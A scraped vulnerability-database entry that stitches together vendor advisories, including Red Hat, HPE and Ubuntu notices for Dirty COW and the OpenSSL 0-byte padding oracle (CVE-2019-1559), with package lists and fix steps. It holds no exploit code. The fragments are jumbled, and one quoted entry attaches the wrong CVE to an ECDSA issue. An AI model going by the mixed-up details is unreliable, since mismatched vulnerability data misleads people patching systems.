COW breakage\n\n6. Package List:\n\nRed Hat Enterprise Linux for Real Time for NFV (v. 7):\n\nSource:\nkernel-rt-3.10.0-327.36.3.rt56.238.el7.src.rpm\n\nnoarch:\nkernel-rt-doc-3.10.0-327.36.3.rt56.238.el7.noarch.rpm\n\nx86_64:\nkernel-rt-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-debug-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-debug-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-debug-devel-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-debug-kvm-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-debug-kvm-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-debuginfo-common-x86_64-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-devel-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-kvm-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-kvm-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-trace-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-trace-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-trace-devel-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-trace-kvm-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-trace-kvm-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Realtime (v. 7):\n\nSource:\nkernel-rt-3.10.0-327.36.3.rt56.238.el7.src.rpm\n\nnoarch:\nkernel-rt-doc-3.10.0-327.36.3.rt56.238.el7.noarch.rpm\n\nx86_64:\nkernel-rt-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-debug-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-debug-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-debug-devel-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-debuginfo-common-x86_64-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-devel-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-trace-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-trace-debuginfo-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\nkernel-rt-trace-devel-3.10.0-327.36.3.rt56.238.el7.x86_64.rpm\n\nThese packages are GPG signed by Red Hat for security.  Our key and\ndetails on how to verify the signature are available from\nhttps://access.redhat.com/security/team/key/\n\n7. References:\n\nhttps://access.redhat.com/security/cve/CVE-2016-5195\nhttps://access.redhat.com/security/cve/CVE-2016-7039\nhttps://access.redhat.com/security/updates/classification/#important\nhttps://access.redhat.com/security/vulnerabilities/2706661\n\n8. Contact:\n\nThe Red Hat security contact is \u003csecalert@redhat.com\u003e. More contact\ndetails at https://access.redhat.com/security/team/contact/\n\nCopyright 2016 Red Hat, Inc. \n-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niD8DBQFYEKKsXlSAg2UNWIIRAmI+AJkB5tkOU2r9pjWJ4cYCSD9mtyJFBwCgt+er\nyvfTfHwrbVXZfa/y1n2XeMs=\n=LaOt\n-----END PGP SIGNATURE-----\n\n\n--\nRHSA-announce mailing list\nRHSA-announce@redhat.com\nhttps://www.redhat.com/mailman/listinfo/rhsa-announce\n. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nNote: the current version of the following document is available here:\nhttps://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbgn03722en_us\n\nSUPPORT COMMUNICATION - SECURITY BULLETIN\n\nDocument ID: hpesbgn03722en_us\nVersion: 1\n\nHPESBGN03722 rev.1 - HPE Operations Agent, Local Escalation of Privilege\n\nNOTICE: The information in this Security Bulletin should be acted upon as\nsoon as possible. \n\nRelease Date: 2017-03-30\nLast Updated: 2017-03-30\n\nPotential Security Impact: Local: Escalation of Privilege\n\nSource: Hewlett Packard Enterprise, Product Security Response Team\n\nVULNERABILITY SUMMARY\nA security vulnerability in Linux kernel, also known as \"Dirty COW\", has been\naddressed in HPE Operations Agent. This vulnerability could be exploited\nlocally to allow escalation of privilege. \n\nReferences:\n\n  - CVE-2016-5195 - Linux kernel vulnerability, Dirty \"COW\" \n\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. \n\n  - HPE Operations agent software - v11.11, v11.12, v11.13, v11.14\n\nBACKGROUND\n\n  CVSS Base Metrics\n  =================\n  Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector\n\n    CVE-2016-5195\n      7.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n      7.2 (AV:L/AC:L/Au:N/C:C/I:C/A:C)\n\n    Information on CVSS is documented in\n    HPE Customer Notice HPSN-2008-002 here:\n\nhttps://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499\n\nRESOLUTION\n\nHPE has made the following mitigation steps available to resolve the\nvulnerability in the impacted versions of HPE Operations Agent. Login to the Operations Agent system with root privileges  \n2. Update the system using \u0027yum update kernel\u0027 command\n3. Reboot the server using \u0027/sbin/shutdown -r now\u0027 command\n\nPlease contact HPE Technical Support if any assistance is needed regarding\nthe mitigation steps. \n\nHISTORY\nVersion:1 (rev.1) - 30 March 2017 Initial release\n\nThird Party Security Patches: Third party security patches that are to be\ninstalled on systems running Hewlett Packard Enterprise (HPE) software\nproducts should be applied in accordance with the customer\u0027s patch management\npolicy. \n\nSupport: For issues about implementing the recommendations of this Security\nBulletin, contact normal HPE Services support channel. For other issues about\nthe content of this Security Bulletin, send e-mail to security-alert@hpe.com. \n\nReport: To report a potential security vulnerability for any HPE supported\nproduct:\n  Web form: https://www.hpe.com/info/report-security-vulnerability\n  Email: security-alert@hpe.com\n\nSubscribe: To initiate a subscription to receive future HPE Security Bulletin\nalerts via Email: http://www.hpe.com/support/Subscriber_Choice\n\nSecurity Bulletin Archive: A list of recently released Security Bulletins is\navailable here: http://www.hpe.com/support/Security_Bulletin_Archive\n\nSoftware Product Category: The Software Product Category is represented in\nthe title by the two characters following HPSB. \n\n3C = 3COM\n3P = 3rd Party Software\nGN = HPE General Software\nHF = HPE Hardware and Firmware\nMU = Multi-Platform Software\nNS = NonStop Servers\nOV = OpenVMS\nPV = ProCurve\nST = Storage Software\nUX = HP-UX\n\nCopyright 2016 Hewlett Packard Enterprise\n\nHewlett Packard Enterprise shall not be liable for technical or editorial\nerrors or omissions contained herein. The information provided is provided\n\"as is\" without warranty of any kind. To the extent permitted by law, neither\nHP or its affiliates, subcontractors or suppliers will be liable for\nincidental,special or consequential damages including downtime cost; lost\nprofits; damages relating to the procurement of substitute products or\nservices; or damages for loss of data, or software restoration. The\ninformation in this document is subject to change without notice. Hewlett\nPackard Enterprise and the names of Hewlett Packard Enterprise products\nreferenced herein are trademarks of Hewlett Packard Enterprise in the United\nStates and other countries. Other product and company names mentioned herein\nmay be trademarks of their respective owners. \n==========================================================================\nUbuntu Security Notice USN-3104-1\nOctober 20, 2016\n\nlinux vulnerability\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 12.04 LTS\n\nSummary:\n\nThe system could be made to run programs as an administrator. \n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 12.04 LTS:\n  linux-image-3.2.0-113-generic   3.2.0-113.155\n  linux-image-3.2.0-113-generic-pae  3.2.0-113.155\n  linux-image-3.2.0-113-highbank  3.2.0-113.155\n  linux-image-3.2.0-113-omap      3.2.0-113.155\n  linux-image-3.2.0-113-powerpc-smp  3.2.0-113.155\n  linux-image-3.2.0-113-powerpc64-smp  3.2.0-113.155\n  linux-image-3.2.0-113-virtual   3.2.0-113.155\n\nAfter a standard system update you need to reboot your computer to make\nall the necessary changes. \n\nATTENTION: Due to an unavoidable ABI change the kernel updates have\nbeen given a new version number, which requires you to recompile and\nreinstall all third party kernel modules you might have installed. \nUnless you manually uninstalled the standard kernel metapackages\n(e.g. linux-generic, linux-generic-lts-RELEASE, linux-virtual,\nlinux-powerpc), a standard system upgrade will automatically perform\nthis as well",
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var-201902-0192
Vulnerability from variot

If an application encounters a fatal protocol error and then calls SSL_shutdown() twice (once to send a close_notify, and once to receive one) then OpenSSL can respond differently to the calling application if a 0 byte record is received with invalid padding compared to if a 0 byte record is received with an invalid MAC. If the application then behaves differently based on that in a way that is detectable to the remote peer, then this amounts to a padding oracle that could be used to decrypt data. In order for this to be exploitable "non-stitched" ciphersuites must be in use. Stitched ciphersuites are optimised implementations of certain commonly used ciphersuites. Also the application must call SSL_shutdown() twice even if a protocol error has occurred (applications should not do this but some do anyway). Fixed in OpenSSL 1.0.2r (Affected 1.0.2-1.0.2q). OpenSSL Contains an information disclosure vulnerability.Information may be obtained. The product supports a variety of encryption algorithms, including symmetric ciphers, hash algorithms, secure hash algorithms, etc. A vulnerability in OpenSSL could allow an unauthenticated, remote malicious user to access sensitive information on a targeted system. An attacker who is able to perform man-in-the-middle attacks could exploit the vulnerability by persuading a user to access a link that submits malicious input to the affected software. A successful exploit could allow the malicious user to intercept and modify the browser requests and then observe the server behavior in order to conduct a padding oracle attack and decrypt sensitive information. The appliance is available to download as an OVA file from the Customer Portal. ========================================================================== Ubuntu Security Notice USN-4376-2 July 09, 2020

openssl vulnerabilities

A security issue affects these releases of Ubuntu and its derivatives:

  • Ubuntu 14.04 ESM
  • Ubuntu 12.04 ESM

Summary:

Several security issues were fixed in OpenSSL. This update provides the corresponding update for Ubuntu 12.04 ESM and Ubuntu 14.04 ESM.

Original advisory details:

Cesar Pereida Garc\xeda, Sohaib ul Hassan, Nicola Tuveri, Iaroslav Gridin, Alejandro Cabrera Aldaya, and Billy Brumley discovered that OpenSSL incorrectly handled ECDSA signatures. An attacker could possibly use this issue to perform a timing side-channel attack and recover private ECDSA keys. A remote attacker could possibly use this issue to decrypt data. (CVE-2019-1559)

Bernd Edlinger discovered that OpenSSL incorrectly handled certain decryption functions. (CVE-2019-1563)

Update instructions:

The problem can be corrected by updating your system to the following package versions:

Ubuntu 14.04 ESM: libssl1.0.0 1.0.1f-1ubuntu2.27+esm1

Ubuntu 12.04 ESM: libssl1.0.0 1.0.1-4ubuntu5.44

After a standard system update you need to reboot your computer to make all the necessary changes. Description:

Red Hat JBoss Web Server is a fully integrated and certified set of components for hosting Java web applications. It is comprised of the Apache Tomcat Servlet container, JBoss HTTP Connector (mod_cluster), the PicketLink Vault extension for Apache Tomcat, and the Tomcat Native library. Solution:

Before applying this update, make sure all previously released errata relevant to your system have been applied. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256

====================================================================
Red Hat Security Advisory

Synopsis: Moderate: openssl security and bug fix update Advisory ID: RHSA-2019:2304-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2019:2304 Issue date: 2019-08-06 CVE Names: CVE-2018-0734 CVE-2019-1559 ==================================================================== 1. Summary:

An update for openssl is now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

  1. Relevant releases/architectures:

Red Hat Enterprise Linux Client (v. 7) - x86_64 Red Hat Enterprise Linux Client Optional (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64 Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - x86_64 Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64

  1. Description:

OpenSSL is a toolkit that implements the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols, as well as a full-strength general-purpose cryptography library.

Security Fix(es):

  • openssl: 0-byte record padding oracle (CVE-2019-1559)

  • openssl: timing side channel attack in the DSA signature algorithm (CVE-2018-0734)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Additional Changes:

For detailed information on changes in this release, see the Red Hat Enterprise Linux 7.7 Release Notes linked from the References section.

  1. Solution:

For details on how to apply this update, which includes the changes described in this advisory, refer to:

https://access.redhat.com/articles/11258

For the update to take effect, all services linked to the OpenSSL library must be restarted, or the system rebooted.

  1. Bugs fixed (https://bugzilla.redhat.com/):

1644364 - CVE-2018-0734 openssl: timing side channel attack in the DSA signature algorithm 1649568 - openssl: microarchitectural and timing side channel padding oracle attack against RSA 1683804 - CVE-2019-1559 openssl: 0-byte record padding oracle

  1. Package List:

Red Hat Enterprise Linux Client (v. 7):

Source: openssl-1.0.2k-19.el7.src.rpm

x86_64: openssl-1.0.2k-19.el7.x86_64.rpm openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-libs-1.0.2k-19.el7.i686.rpm openssl-libs-1.0.2k-19.el7.x86_64.rpm

Red Hat Enterprise Linux Client Optional (v. 7):

x86_64: openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-devel-1.0.2k-19.el7.i686.rpm openssl-devel-1.0.2k-19.el7.x86_64.rpm openssl-perl-1.0.2k-19.el7.x86_64.rpm openssl-static-1.0.2k-19.el7.i686.rpm openssl-static-1.0.2k-19.el7.x86_64.rpm

Red Hat Enterprise Linux ComputeNode (v. 7):

Source: openssl-1.0.2k-19.el7.src.rpm

x86_64: openssl-1.0.2k-19.el7.x86_64.rpm openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-libs-1.0.2k-19.el7.i686.rpm openssl-libs-1.0.2k-19.el7.x86_64.rpm

Red Hat Enterprise Linux ComputeNode Optional (v. 7):

x86_64: openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-devel-1.0.2k-19.el7.i686.rpm openssl-devel-1.0.2k-19.el7.x86_64.rpm openssl-perl-1.0.2k-19.el7.x86_64.rpm openssl-static-1.0.2k-19.el7.i686.rpm openssl-static-1.0.2k-19.el7.x86_64.rpm

Red Hat Enterprise Linux Server (v. 7):

Source: openssl-1.0.2k-19.el7.src.rpm

ppc64: openssl-1.0.2k-19.el7.ppc64.rpm openssl-debuginfo-1.0.2k-19.el7.ppc.rpm openssl-debuginfo-1.0.2k-19.el7.ppc64.rpm openssl-devel-1.0.2k-19.el7.ppc.rpm openssl-devel-1.0.2k-19.el7.ppc64.rpm openssl-libs-1.0.2k-19.el7.ppc.rpm openssl-libs-1.0.2k-19.el7.ppc64.rpm

ppc64le: openssl-1.0.2k-19.el7.ppc64le.rpm openssl-debuginfo-1.0.2k-19.el7.ppc64le.rpm openssl-devel-1.0.2k-19.el7.ppc64le.rpm openssl-libs-1.0.2k-19.el7.ppc64le.rpm

s390x: openssl-1.0.2k-19.el7.s390x.rpm openssl-debuginfo-1.0.2k-19.el7.s390.rpm openssl-debuginfo-1.0.2k-19.el7.s390x.rpm openssl-devel-1.0.2k-19.el7.s390.rpm openssl-devel-1.0.2k-19.el7.s390x.rpm openssl-libs-1.0.2k-19.el7.s390.rpm openssl-libs-1.0.2k-19.el7.s390x.rpm

x86_64: openssl-1.0.2k-19.el7.x86_64.rpm openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-devel-1.0.2k-19.el7.i686.rpm openssl-devel-1.0.2k-19.el7.x86_64.rpm openssl-libs-1.0.2k-19.el7.i686.rpm openssl-libs-1.0.2k-19.el7.x86_64.rpm

Red Hat Enterprise Linux Server Optional (v. 7):

ppc64: openssl-debuginfo-1.0.2k-19.el7.ppc.rpm openssl-debuginfo-1.0.2k-19.el7.ppc64.rpm openssl-perl-1.0.2k-19.el7.ppc64.rpm openssl-static-1.0.2k-19.el7.ppc.rpm openssl-static-1.0.2k-19.el7.ppc64.rpm

ppc64le: openssl-debuginfo-1.0.2k-19.el7.ppc64le.rpm openssl-perl-1.0.2k-19.el7.ppc64le.rpm openssl-static-1.0.2k-19.el7.ppc64le.rpm

s390x: openssl-debuginfo-1.0.2k-19.el7.s390.rpm openssl-debuginfo-1.0.2k-19.el7.s390x.rpm openssl-perl-1.0.2k-19.el7.s390x.rpm openssl-static-1.0.2k-19.el7.s390.rpm openssl-static-1.0.2k-19.el7.s390x.rpm

x86_64: openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-perl-1.0.2k-19.el7.x86_64.rpm openssl-static-1.0.2k-19.el7.i686.rpm openssl-static-1.0.2k-19.el7.x86_64.rpm

Red Hat Enterprise Linux Workstation (v. 7):

Source: openssl-1.0.2k-19.el7.src.rpm

x86_64: openssl-1.0.2k-19.el7.x86_64.rpm openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-devel-1.0.2k-19.el7.i686.rpm openssl-devel-1.0.2k-19.el7.x86_64.rpm openssl-libs-1.0.2k-19.el7.i686.rpm openssl-libs-1.0.2k-19.el7.x86_64.rpm

Red Hat Enterprise Linux Workstation Optional (v. 7):

x86_64: openssl-debuginfo-1.0.2k-19.el7.i686.rpm openssl-debuginfo-1.0.2k-19.el7.x86_64.rpm openssl-perl-1.0.2k-19.el7.x86_64.rpm openssl-static-1.0.2k-19.el7.i686.rpm openssl-static-1.0.2k-19.el7.x86_64.rpm

These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/

  1. References:

https://access.redhat.com/security/cve/CVE-2018-0734 https://access.redhat.com/security/cve/CVE-2019-1559 https://access.redhat.com/security/updates/classification/#moderate https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/7.7_release_notes/index

  1. Contact:

The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/

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-- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . These packages include redhat-release-virtualization-host, ovirt-node, and rhev-hypervisor. RHVH features a Cockpit user interface for monitoring the host's resources and performing administrative tasks.

The following packages have been upgraded to a later upstream version: imgbased (1.1.9), ovirt-node-ng (4.3.5), redhat-release-virtualization-host (4.3.5), redhat-virtualization-host (4.3.5). Bugs fixed (https://bugzilla.redhat.com/):

1640820 - CVE-2018-16838 sssd: improper implementation of GPOs due to too restrictive permissions 1658366 - CVE-2018-16881 rsyslog: imptcp: integer overflow when Octet-Counted TCP Framing is enabled 1683804 - CVE-2019-1559 openssl: 0-byte record padding oracle 1687920 - RHVH fails to reinstall if required size is exceeding the available disk space due to anaconda bug 1694065 - CVE-2019-0161 edk2: stack overflow in XHCI causing denial of service 1702223 - Rebase RHV-H on RHEL 7.7 1709829 - CVE-2019-10139 cockpit-ovirt: admin and appliance passwords saved in plain text variable file during HE deployment 1718388 - CVE-2019-10160 python: regression of CVE-2019-9636 due to functional fix to allow port numbers in netloc 1720156 - RHVH 4.3.4 version info is incorrect in plymouth and "/etc/os-release" 1720160 - RHVH 4.3.4: Incorrect info in /etc/system-release-cpe 1720310 - RHV-H post-installation scripts failing, due to existing tags 1720434 - RHVH 7.7 brand is wrong in Anaconda GUI. 1720435 - Failed to install RHVH 7.7 1720436 - RHVH 7.7 should based on RHEL 7.7 server but not workstation. 1724044 - Failed dependencies occur during install systemtap package. 1726534 - dhclient fails to load libdns-export.so.1102 after upgrade if the user installed library is not persisted on the new layer 1727007 - Update RHVH 7.7 branding with new Red Hat logo 1727859 - Failed to boot after upgrading a host with a custom kernel 1728998 - "nodectl info" displays error after RHVH installation 1729023 - The error message is inappropriate when run imgbase layout --init on current layout

This issue was discovered by Juraj Somorovsky, Robert Merget and Nimrod Aviram, with additional investigation by Steven Collison and Andrew Hourselt. It was reported to OpenSSL on 10th December 2018.

Note: Advisory updated to make it clearer that AEAD ciphersuites are not impacted.

Note

OpenSSL 1.0.2 and 1.1.0 are currently only receiving security updates. Support for 1.0.2 will end on 31st December 2019. Support for 1.1.0 will end on 11th September 2019. Users of these versions should upgrade to OpenSSL 1.1.1.

References

URL for this Security Advisory: https://www.openssl.org/news/secadv/20190226.txt

Note: the online version of the advisory may be updated with additional details over time.

For details of OpenSSL severity classifications please see: https://www.openssl.org/policies/secpolicy.html

Show details on source website


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    "data": "If an application encounters a fatal protocol error and then calls SSL_shutdown() twice (once to send a close_notify, and once to receive one) then OpenSSL can respond differently to the calling application if a 0 byte record is received with invalid padding compared to if a 0 byte record is received with an invalid MAC. If the application then behaves differently based on that in a way that is detectable to the remote peer, then this amounts to a padding oracle that could be used to decrypt data. In order for this to be exploitable \"non-stitched\" ciphersuites must be in use. Stitched ciphersuites are optimised implementations of certain commonly used ciphersuites. Also the application must call SSL_shutdown() twice even if a protocol error has occurred (applications should not do this but some do anyway). Fixed in OpenSSL 1.0.2r (Affected 1.0.2-1.0.2q). OpenSSL Contains an information disclosure vulnerability.Information may be obtained. The product supports a variety of encryption algorithms, including symmetric ciphers, hash algorithms, secure hash algorithms, etc. A vulnerability in OpenSSL could allow an unauthenticated, remote malicious user to access sensitive information on a targeted system. An attacker who is able to perform man-in-the-middle attacks could exploit the vulnerability by persuading a user to access a link that submits malicious input to the affected software. A successful exploit could allow the malicious user to intercept and modify the browser requests and then observe the server behavior in order to conduct a padding oracle attack and decrypt sensitive information. The appliance is available\nto download as an OVA file from the Customer Portal. ==========================================================================\nUbuntu Security Notice USN-4376-2\nJuly 09, 2020\n\nopenssl vulnerabilities\n==========================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 14.04 ESM\n- Ubuntu 12.04 ESM\n\nSummary:\n\nSeveral security issues were fixed in OpenSSL. This update provides\nthe corresponding update for Ubuntu 12.04 ESM and Ubuntu 14.04 ESM. \n\nOriginal advisory details:\n\n Cesar Pereida Garc\\xeda, Sohaib ul Hassan, Nicola Tuveri, Iaroslav Gridin,\n Alejandro Cabrera Aldaya, and Billy Brumley discovered that OpenSSL\n incorrectly handled ECDSA signatures. An attacker could possibly use this\n issue to perform a timing side-channel attack and recover private ECDSA\n keys. A remote attacker could possibly use this issue to decrypt\n data. (CVE-2019-1559)\n\n Bernd Edlinger discovered that OpenSSL incorrectly handled certain\n decryption functions. (CVE-2019-1563)\n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 14.04 ESM:\n  libssl1.0.0                     1.0.1f-1ubuntu2.27+esm1\n\nUbuntu 12.04 ESM:\n  libssl1.0.0                     1.0.1-4ubuntu5.44\n\nAfter a standard system update you need to reboot your computer to make\nall the necessary changes. Description:\n\nRed Hat JBoss Web Server is a fully integrated and certified set of\ncomponents for hosting Java web applications. It is comprised of the Apache\nTomcat Servlet container, JBoss HTTP Connector (mod_cluster), the\nPicketLink Vault extension for Apache Tomcat, and the Tomcat Native\nlibrary. Solution:\n\nBefore applying this update, make sure all previously released errata\nrelevant to your system have been applied. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\n====================================================================                   \nRed Hat Security Advisory\n\nSynopsis:          Moderate: openssl security and bug fix update\nAdvisory ID:       RHSA-2019:2304-01\nProduct:           Red Hat Enterprise Linux\nAdvisory URL:      https://access.redhat.com/errata/RHSA-2019:2304\nIssue date:        2019-08-06\nCVE Names:         CVE-2018-0734 CVE-2019-1559\n====================================================================\n1. Summary:\n\nAn update for openssl is now available for Red Hat Enterprise Linux 7. \n\nRed Hat Product Security has rated this update as having a security impact\nof Moderate. A Common Vulnerability Scoring System (CVSS) base score, which\ngives a detailed severity rating, is available for each vulnerability from\nthe CVE link(s) in the References section. \n\n2. Relevant releases/architectures:\n\nRed Hat Enterprise Linux Client (v. 7) - x86_64\nRed Hat Enterprise Linux Client Optional (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode (v. 7) - x86_64\nRed Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64\nRed Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64\nRed Hat Enterprise Linux Workstation (v. 7) - x86_64\nRed Hat Enterprise Linux Workstation Optional (v. 7) - x86_64\n\n3. Description:\n\nOpenSSL is a toolkit that implements the Secure Sockets Layer (SSL) and\nTransport Layer Security (TLS) protocols, as well as a full-strength\ngeneral-purpose cryptography library. \n\nSecurity Fix(es):\n\n* openssl: 0-byte record padding oracle (CVE-2019-1559)\n\n* openssl: timing side channel attack in the DSA signature algorithm\n(CVE-2018-0734)\n\nFor more details about the security issue(s), including the impact, a CVSS\nscore, acknowledgments, and other related information, refer to the CVE\npage(s) listed in the References section. \n\nAdditional Changes:\n\nFor detailed information on changes in this release, see the Red Hat\nEnterprise Linux 7.7 Release Notes linked from the References section. \n\n4. Solution:\n\nFor details on how to apply this update, which includes the changes\ndescribed in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nFor the update to take effect, all services linked to the OpenSSL library\nmust be restarted, or the system rebooted. \n\n5. Bugs fixed (https://bugzilla.redhat.com/):\n\n1644364 - CVE-2018-0734 openssl: timing side channel attack in the DSA signature algorithm\n1649568 - openssl: microarchitectural and timing side channel padding oracle attack against RSA\n1683804 - CVE-2019-1559 openssl: 0-byte record padding oracle\n\n6. Package List:\n\nRed Hat Enterprise Linux Client (v. 7):\n\nSource:\nopenssl-1.0.2k-19.el7.src.rpm\n\nx86_64:\nopenssl-1.0.2k-19.el7.x86_64.rpm\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-libs-1.0.2k-19.el7.i686.rpm\nopenssl-libs-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Client Optional (v. 7):\n\nx86_64:\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-devel-1.0.2k-19.el7.i686.rpm\nopenssl-devel-1.0.2k-19.el7.x86_64.rpm\nopenssl-perl-1.0.2k-19.el7.x86_64.rpm\nopenssl-static-1.0.2k-19.el7.i686.rpm\nopenssl-static-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode (v. 7):\n\nSource:\nopenssl-1.0.2k-19.el7.src.rpm\n\nx86_64:\nopenssl-1.0.2k-19.el7.x86_64.rpm\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-libs-1.0.2k-19.el7.i686.rpm\nopenssl-libs-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux ComputeNode Optional (v. 7):\n\nx86_64:\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-devel-1.0.2k-19.el7.i686.rpm\nopenssl-devel-1.0.2k-19.el7.x86_64.rpm\nopenssl-perl-1.0.2k-19.el7.x86_64.rpm\nopenssl-static-1.0.2k-19.el7.i686.rpm\nopenssl-static-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Server (v. 7):\n\nSource:\nopenssl-1.0.2k-19.el7.src.rpm\n\nppc64:\nopenssl-1.0.2k-19.el7.ppc64.rpm\nopenssl-debuginfo-1.0.2k-19.el7.ppc.rpm\nopenssl-debuginfo-1.0.2k-19.el7.ppc64.rpm\nopenssl-devel-1.0.2k-19.el7.ppc.rpm\nopenssl-devel-1.0.2k-19.el7.ppc64.rpm\nopenssl-libs-1.0.2k-19.el7.ppc.rpm\nopenssl-libs-1.0.2k-19.el7.ppc64.rpm\n\nppc64le:\nopenssl-1.0.2k-19.el7.ppc64le.rpm\nopenssl-debuginfo-1.0.2k-19.el7.ppc64le.rpm\nopenssl-devel-1.0.2k-19.el7.ppc64le.rpm\nopenssl-libs-1.0.2k-19.el7.ppc64le.rpm\n\ns390x:\nopenssl-1.0.2k-19.el7.s390x.rpm\nopenssl-debuginfo-1.0.2k-19.el7.s390.rpm\nopenssl-debuginfo-1.0.2k-19.el7.s390x.rpm\nopenssl-devel-1.0.2k-19.el7.s390.rpm\nopenssl-devel-1.0.2k-19.el7.s390x.rpm\nopenssl-libs-1.0.2k-19.el7.s390.rpm\nopenssl-libs-1.0.2k-19.el7.s390x.rpm\n\nx86_64:\nopenssl-1.0.2k-19.el7.x86_64.rpm\nopenssl-debuginfo-1.0.2k-19.el7.i686.rpm\nopenssl-debuginfo-1.0.2k-19.el7.x86_64.rpm\nopenssl-devel-1.0.2k-19.el7.i686.rpm\nopenssl-devel-1.0.2k-19.el7.x86_64.rpm\nopenssl-libs-1.0.2k-19.el7.i686.rpm\nopenssl-libs-1.0.2k-19.el7.x86_64.rpm\n\nRed Hat Enterprise Linux Server Optional (v. 